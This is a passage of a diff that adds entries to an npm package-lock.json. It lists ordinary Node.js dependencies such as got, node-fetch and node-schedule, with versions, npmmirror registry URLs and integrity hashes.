"sha512-zkDT5WAF4hSSoUgyfg5tFIxz8XQK+25W/TLVojJTMKBaxevLBBtLxgqguAuVQB8PVW79FVjHcU+GJ9tVbDZ9mQ==", + "dependencies": { + "@types/http-cache-semantics": "^4.0.2", + "get-stream": "^6.0.1", + "http-cache-semantics": "^4.1.1", + "keyv": "^4.5.3", + "mimic-response": "^4.0.0", + "normalize-url": "^8.0.0", + "responselike": "^3.0.0" + }, + "engines": { + "node": ">=14.16" + } + }, + "node_modules/cacheable-request/node_modules/get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmmirror.com/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "engines": { + "node": ">=10" + } + }, + "node_modules/cacheable-request/node_modules/mimic-response": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/mimic-response/-/mimic-response-4.0.0.tgz", + "integrity": "sha512-e5ISH9xMYU0DzrT+jl8q2ze9D6eWBto+I8CNpe+VI+K2J/F/k3PdkdTdz4wvGVH4NTpo+NRYTVIuMQEMMcsLqg==", + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + } + }, + "node_modules/caseless": { + "version": "0.12.0", + "resolved": "https://registry.npmmirror.com/caseless/-/caseless-0.12.0.tgz", + "integrity": "sha512-4tYFyifaFfGacoiObjJegolkwSU4xQNGbVgUiNYVUxbQ2x2lUsFvY4hVgVzGiIe6WLOPqycWXA40l+PWsxthUw==" + }, + "node_modules/chownr": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/chownr/-/chownr-1.1.4.tgz", + "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==" + }, + "node_modules/color": { + "version": "4.2.3", + "resolved": "https://registry.npmmirror.com/color/-/color-4.2.3.tgz", + "integrity": "sha512-1rXeuUUiGGrykh+CeBdu5Ie7OJwinCgQY0bc7GCRxy5xVHy+moaqkpL/jqQq0MtQOeYcrqEz4abc5f0KtU7W4A==", + "dependencies": { + "color-convert": "^2.0.1", + "color-string": "^1.9.0" + }, + "engines": { + "node": ">=12.5.0" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/color-string": { + "version": "1.9.1", + "resolved": "https://registry.npmmirror.com/color-string/-/color-string-1.9.1.tgz", + "integrity": "sha512-shrVawQFojnZv6xM40anx4CkoDP+fZsw/ZerEMsW/pyzsRbElpsL/DBVW7q3ExxwusdNXI3lXpuhEZkzs8p5Eg==", + "dependencies": { + "color-name": "^1.0.0", + "simple-swizzle": "^0.2.2" + } + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmmirror.com/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmmirror.com/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + }, + "node_modules/core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ==" + }, + "node_modules/cron-parser": { + "version": "4.9.0", + "resolved": "https://registry.npmmirror.com/cron-parser/-/cron-parser-4.9.0.tgz", + "integrity": "sha512-p0SaNjrHOnQeR8/VnfGbmg9te2kfyYSQ7Sc/j/6DtPL3JQvKxmjO9TSjNFpujqV3vEYYBvNNvXSxzyksBWAx1Q==", + "dependencies": { + "luxon": "^3.2.1" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/crypto-js": { + "version": "4.2.0", + "resolved": "https://registry.npmmirror.com/crypto-js/-/crypto-js-4.2.0.tgz", + "integrity": "sha512-KALDyEYgpY+Rlob/iriUtjV6d5Eq+Y191A5g4UqLAi8CyGP9N1+FdVbkc1SxKc2r4YAYqG8JzO2KGL+AizD70Q==", + "license": "MIT" + }, + "node_modules/dashdash": { + "version": "1.14.1", + "resolved": "https://registry.npmmirror.com/dashdash/-/dashdash-1.14.1.tgz", + "integrity": "sha512-jRFi8UDGo6j+odZiEpjazZaWqEal3w/basFjQHQEwVtZJGDpxbH1MeYluwCS8Xq5wmLJooDlMgvVarmWfGM44g==", + "dependencies": { + "assert-plus": "^1.0.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/data-uri-to-buffer": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/data-uri-to-buffer/-/data-uri-to-buffer-4.0.1.tgz", + "integrity": "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A==", + "engines": { + "node": ">= 12" + } + }, + "node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decompress-response": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/decompress-response/-/decompress-response-6.0.0.tgz", + "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "dependencies": { + "mimic-response": "^3.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/deep-extend": { + "version": "0.6.0", + "resolved": "https://registry.npmmirror.com/deep-extend/-/deep-extend-0.6.0.tgz", + "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/defer-to-connect": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/defer-to-connect/-/defer-to-connect-2.0.1.tgz", + "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==", + "engines": { + "node": ">=10" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/detect-libc": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/detect-libc/-/detect-libc-2.0.3.tgz", + "integrity": "sha512-bwy0MGW55bG41VqxxypOsdSdGqLwXPI/focwgTYCFMbdUiBAxLg9CFzG08sz2aqzknwiX7Hkl0bQENjg8iLByw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/dotenv": { + "version": "16.3.2", + "resolved": "https://registry.npmmirror.com/dotenv/-/dotenv-16.3.2.tgz", + "integrity": "sha512-HTlk5nmhkm8F6JcdXvHIzaorzCoziNQT9mGxLPVXW8wJF1TiGSL60ZGB4gHWabHOaMmWmhvk2/lPHfnBiT78AQ==", + "engines": { + "node": ">=12" + } + }, + "node_modules/ecc-jsbn": { + "version": "0.1.2", + "resolved": "https://registry.npmmirror.com/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz", + "integrity": "sha512-eh9O+hwRHNbG4BLTjEl3nw044CkGm5X6LoaCf7LPp7UU8Qrt47JYNi6nPX8xjW97TKGKm1ouctg0QSpZe9qrnw==", + "dependencies": { + "jsbn": "~0.1.0", + "safer-buffer": "^2.1.0" + } + }, + "node_modules/end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmmirror.com/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/expand-template": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/expand-template/-/expand-template-2.0.3.tgz", + "integrity": "sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==", + "engines": { + "node": ">=6" + } + }, + "node_modules/extend": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" + }, + "node_modules/extsprintf": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/extsprintf/-/extsprintf-1.3.0.tgz", + "integrity": "sha512-11Ndz7Nv+mvAC1j0ktTa7fAb0vLyGGX+rMHNBYQviQDGU0Hw7lhctJANqbPhu9nV9/izT/IntTgZ7Im/9LJs9g==", + "engines": [ + "node >=0.6.0" + ] + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmmirror.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "node_modules/fast-fifo": { + "version": "1.3.2", + "resolved": "https://registry.npmmirror.com/fast-fifo/-/fast-fifo-1.3.2.tgz", + "integrity": "sha512-/d9sfos4yxzpwkDkuN7k2SqFKtYNmCTzgfEpz82x34IM9/zc8KGxQoXg1liNC/izpRM/MBdt44Nmx41ZWqk+FQ==" + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" + }, + "node_modules/fetch-blob": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/fetch-blob/-/fetch-blob-3.2.0.tgz", + "integrity": "sha512-7yAQpD2UMJzLi1Dqv7qFYnPbaPx7ZfFK6PiIxQ4PfkGPyNyl2Ugx+a/umUonmKqjhM4DnfbMvdX6otXq83soQQ==", + "dependencies": { + "node-domexception": "^1.0.0", + "web-streams-polyfill": "^3.0.3" + }, + "engines": { + "node": "^12.20 || >= 14.13" + } + }, + "node_modules/follow-redirects": { + "version": "1.15.9", + "resolved": "https://registry.npmmirror.com/follow-redirects/-/follow-redirects-1.15.9.tgz", + "integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "license": "MIT", + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/forever-agent": { + "version": "0.6.1", + "resolved": "https://registry.npmmirror.com/forever-agent/-/forever-agent-0.6.1.tgz", + "integrity": "sha512-j0KLYPhm6zeac4lz3oJ3o65qvgQCcPubiyotZrXqEaG4hNagNYO8qdlUrX5vwqv9ohqeT/Z3j6+yW067yWWdUw==", + "engines": { + "node": "*" + } + }, + "node_modules/form-data": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/form-data/-/form-data-4.0.0.tgz", + "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/form-data-encoder": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/form-data-encoder/-/form-data-encoder-4.0.2.tgz", + "integrity": "sha512-KQVhvhK8ZkWzxKxOr56CPulAhH3dobtuQ4+hNQ+HekH/Wp5gSOafqRAeTphQUJAIk0GBvHZgJ2ZGRWd5kphMuw==", + "engines": { + "node": ">= 18" + } + }, + "node_modules/formdata-polyfill": { + "version": "4.0.10", + "resolved": "https://registry.npmmirror.com/formdata-polyfill/-/formdata-polyfill-4.0.10.tgz", + "integrity": "sha512-buewHzMvYL29jdeQTVILecSaZKnt/RJWjoZCF5OW60Z67/GmSLBkOFM7qh1PI3zFNtJbaZL5eQu1vLfazOwj4g==", + "dependencies": { + "fetch-blob": "^3.1.2" + }, + "engines": { + "node": ">=12.20.0" + } + }, + "node_modules/fs-constants": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/fs-constants/-/fs-constants-1.0.0.tgz", + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==" + }, + "node_modules/get-stream": { + "version": "8.0.1", + "resolved": "https://registry.npmmirror.com/get-stream/-/get-stream-8.0.1.tgz", + "integrity": "sha512-VaUJspBffn/LMCJVoMvSAdmscJyS1auj5Zulnn5UoYcY531UWmdwhRWkcGKnGU93m5HSXP9LP2usOryrBtQowA==", + "engines": { + "node": ">=16" + } + }, + "node_modules/getpass": { + "version": "0.1.7", + "resolved": "https://registry.npmmirror.com/getpass/-/getpass-0.1.7.tgz", + "integrity": "sha512-0fzj9JxOLfJ+XGLhR8ze3unN0KZCgZwiSSDz168VERjK8Wl8kVSdcu2kspd4s4wtAa1y/qrVRiAA0WclVsu0ng==", + "dependencies": { + "assert-plus": "^1.0.0" + } + }, + "node_modules/github-from-package": { + "version": "0.0.0", + "resolved": "https://registry.npmmirror.com/github-from-package/-/github-from-package-0.0.0.tgz", + "integrity": "sha512-SyHy3T1v2NUXn29OsWdxmK6RwHD+vkj3v8en8AOBZ1wBQ/hCAQ5bAQTD02kW4W9tUp/3Qh6J8r9EvntiyCmOOw==" + }, + "node_modules/got": { + "version": "14.0.0", + "resolved": "https://registry.npmmirror.com/got/-/got-14.0.0.tgz", + "integrity": "sha512-X01vTgaX9SwaMq5DfImvS+3GMQFFs5HtrrlS9CuzUSzkxAf/tWGEyynuI+Qy7BjciMczZGjyVSmawYbP4eYhYA==", + "dependencies": { + "@sindresorhus/is": "^6.1.0", + "@szmarczak/http-timer": "^5.0.1", + "cacheable-lookup": "^7.0.0", + "cacheable-request": "^10.2.14", + "decompress-response": "^6.0.0", + "form-data-encoder": "^4.0.2", + "get-stream": "^8.0.1", + "http2-wrapper": "^2.2.1", + "lowercase-keys": "^3.0.0", + "p-cancelable": "^4.0.1", + "responselike": "^3.0.0" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/har-schema": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/har-schema/-/har-schema-2.0.0.tgz", + "integrity": "sha512-Oqluz6zhGX8cyRaTQlFMPw80bSJVG2x/cFb8ZPhUILGgHka9SsokCCOQgpveePerqidZOrT14ipqfJb7ILcW5Q==", + "engines": { + "node": ">=4" + } + }, + "node_modules/har-validator": { + "version": "5.1.5", + "resolved": "https://registry.npmmirror.com/har-validator/-/har-validator-5.1.5.tgz", + "integrity": "sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==", + "deprecated": "this library is no longer supported", + "dependencies": { + "ajv": "^6.12.3", + "har-schema": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/http-cache-semantics": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz", + "integrity": "sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ==" + }, + "node_modules/http-signature": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/http-signature/-/http-signature-1.2.0.tgz", + "integrity": "sha512-CAbnr6Rz4CYQkLYUtSNXxQPUH2gK8f3iWexVlsnMeD+GjlsQ0Xsy1cOX+mN3dtxYomRy21CiOzU8Uhw6OwncEQ==", + "dependencies": { + "assert-plus": "^1.0.0", + "jsprim": "^1.2.2", + "sshpk": "^1.7.0" + }, + "engines": { + "node": ">=0.8", + "npm": ">=1.3.7" + } + }, + "node_modules/http2-wrapper": { + "version": "2.2.1", + "resolved": "https://registry.npmmirror.com/http2-wrapper/-/http2-wrapper-2.2.1.tgz", + "integrity": "sha512-V5nVw1PAOgfI3Lmeaj2Exmeg7fenjhRUgz1lPSezy1CuhPYbgQtbQj4jZfEAEMlaL+vupsvhjqCyjzob0yxsmQ==", + "dependencies": { + "quick-lru": "^5.1.1", + "resolve-alpn": "^1.2.0" + }, + "engines": { + "node": ">=10.19.0" + } + }, + "node_modules/https-proxy-agent": { + "version": "7.0.2", + "resolved": "https://registry.npmmirror.com/https-proxy-agent/-/https-proxy-agent-7.0.2.tgz", + "integrity": "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA==", + "dependencies": { + "agent-base": "^7.0.2", + "debug": "4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==" + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "node_modules/ini": { + "version": "1.3.8", + "resolved": "https://registry.npmmirror.com/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==" + }, + "node_modules/is-arrayish": { + "version": "0.3.2", + "resolved": "https://registry.npmmirror.com/is-arrayish/-/is-arrayish-0.3.2.tgz", + "integrity": "sha512-eVRqCvVlZbuw3GrM63ovNSNAeA1K16kaR/LRY/92w0zxQ5/1YzwblUX652i4Xs9RwAGjW9d9y6X88t8OaAJfWQ==" + }, + "node_modules/is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==" + }, + "node_modules/isstream": { + "version": "0.1.2", + "resolved": "https://registry.npmmirror.com/isstream/-/isstream-0.1.2.tgz", + "integrity": "sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g==" + }, + "node_modules/jsbn": { + "version": "0.1.1", + "resolved": "https://registry.npmmirror.com/jsbn/-/jsbn-0.1.1.tgz", + "integrity": "sha512-UVU9dibq2JcFWxQPA6KCqj5O42VOmAY3zQUfEKxU0KpTGXwNoCjkX1e13eHNvw/xPynt6pU0rZ1htjWTNTSXsg==" + }, + "node_modules/json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==" + }, + "node_modules/json-schema": { + "version": "0.4.0", + "resolved": "https://registry.npmmirror.com/json-schema/-/json-schema-0.4.0.tgz", + "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==" + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "node_modules/json-stringify-safe": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", + "integrity": "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==" + }, + "node_modules/jsprim": { + "version": "1.4.2", + "resolved": "https://registry.npmmirror.com/jsprim/-/jsprim-1.4.2.tgz", + "integrity": "sha512-P2bSOMAc/ciLz6DzgjVlGJP9+BrJWu5UDGK70C2iweC5QBIeFf0ZXRvGjEj2uYgrY2MkAAhsSWHDWlFtEroZWw==", + "dependencies": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.4.0", + "verror": "1.10.0" + }, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/keyv": { + "version": "4.5.4", + "resolved": "https://registry.npmmirror.com/keyv/-/keyv-4.5.4.tgz", + "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", + "dependencies": { + "json-buffer": "3.0.1" + } + }, + "node_modules/long-timeout": { + "version": "0.1.1", + "resolved": "https://registry.npmmirror.com/long-timeout/-/long-timeout-0.1.1.tgz", + "integrity": "sha512-BFRuQUqc7x2NWxfJBCyUrN8iYUYznzL9JROmRz1gZ6KlOIgmoD+njPVbb+VNn2nGMKggMsK79iUNErillsrx7w==" + }, + "node_modules/lowercase-keys": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/lowercase-keys/-/lowercase-keys-3.0.0.tgz", + "integrity": "sha512-ozCC6gdQ+glXOQsveKD0YsDy8DSQFjDTz4zyzEHNV5+JP5D62LmfDZ6o1cycFx9ouG940M5dE8C8CTewdj2YWQ==", + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + } + }, + "node_modules/luxon": { + "version": "3.4.4", + "resolved": "https://registry.npmmirror.com/luxon/-/luxon-3.4.4.tgz", + "integrity": "sha512-zobTr7akeGHnv7eBOXcRgMeCP6+uyYsczwmeRCauvpvaAltgNyTbLH/+VaEAPUeWBT+1GuNmz4wC/6jtQzbbVA==", + "engines": { + "node": ">=12" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmmirror.com/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmmirror.com/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-response": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/mimic-response/-/mimic-response-3.1.0.tgz", + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", + "engines": { + "node": ">=10" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmmirror.com/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==" + }, + "node_modules/mkdirp-classic": { + "version": "0.5.3", + "resolved": "https://registry.npmmirror.com/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", + "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==" + }, + "node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/napi-build-utils": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/napi-build-utils/-/napi-build-utils-1.0.2.tgz", + "integrity": "sha512-ONmRUqK7zj7DWX0D9ADe03wbwOBZxNAfF20PlGfCWQcD3+/MakShIHrMqx9YwPTfxDdF1zLeL+RGZiR9kGMLdg==" + }, + "node_modules/node-abi": { + "version": "3.40.0", + "resolved": "https://registry.npmmirror.com/node-abi/-/node-abi-3.40.0.tgz", + "integrity": "sha512-zNy02qivjjRosswoYmPi8hIKJRr8MpQyeKT6qlcq/OnOgA3Rhoae+IYOqsM9V5+JnHWmxKnWOT2GxvtqdtOCXA==", + "dependencies": { + "semver": "^7.3.5" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/node-addon-api": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/node-addon-api/-/node-addon-api-6.1.0.tgz", + "integrity": "sha512-+eawOlIgy680F0kBzPUNFhMZGtJ1YmqM6l4+Crf4IkImjYrO/mqPwRMh352g23uIaQKFItcQ64I7KMaJxHgAVA==" + }, + "node_modules/node-domexception": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/node-domexception/-/node-domexception-1.0.0.tgz", + "integrity": "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ==", + "engines": { + "node": ">=10.5.0" + } + }, + "node_modules/node-fetch": { + "version": "3.3.1", + "resolved": "https://registry.npmmirror.com/node-fetch/-/node-fetch-3.3.1.tgz", + "integrity": "sha512-cRVc/kyto/7E5shrWca1Wsea4y6tL9iYJE5FBCius3JQfb/4P4I295PfhgbJQBLTx6lATE4z+wK0rPM4VS2uow==", + "dependencies": { + "data-uri-to-buffer": "^4.0.0", + "fetch-blob": "^3.1.4", + "formdata-polyfill": "^4.0.10" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + } + }, + "node_modules/node-schedule": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/node-schedule/-/node-schedule-2.1.1.tgz", + "integrity": "sha512-OXdegQq03OmXEjt2hZP33W2YPs/E5BcFQks46+G2gAxs4gHOIVD1u7EqlYLYSKsaIpyKCK9Gbk0ta1/gjRSMRQ==", + "dependencies": { + "cron-parser": "^4.2.0", + "long-timeout": "0.1.1", + "sorted-array-functions": "^1.3.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/normalize-url": { + "version": "8.0.0", + "resolved": "https://registry.npmmirror.com/normalize-url/-/normalize-url-8.0.0.tgz", + "integrity": "sha512-uVFpKhj5MheNBJRTiMZ9pE/7hD1QTeEvugSJW/OmLzAp78PB5O6adfMNTvmfKhXBkvCzC+rqifWcVYpGFwTjnw==", + 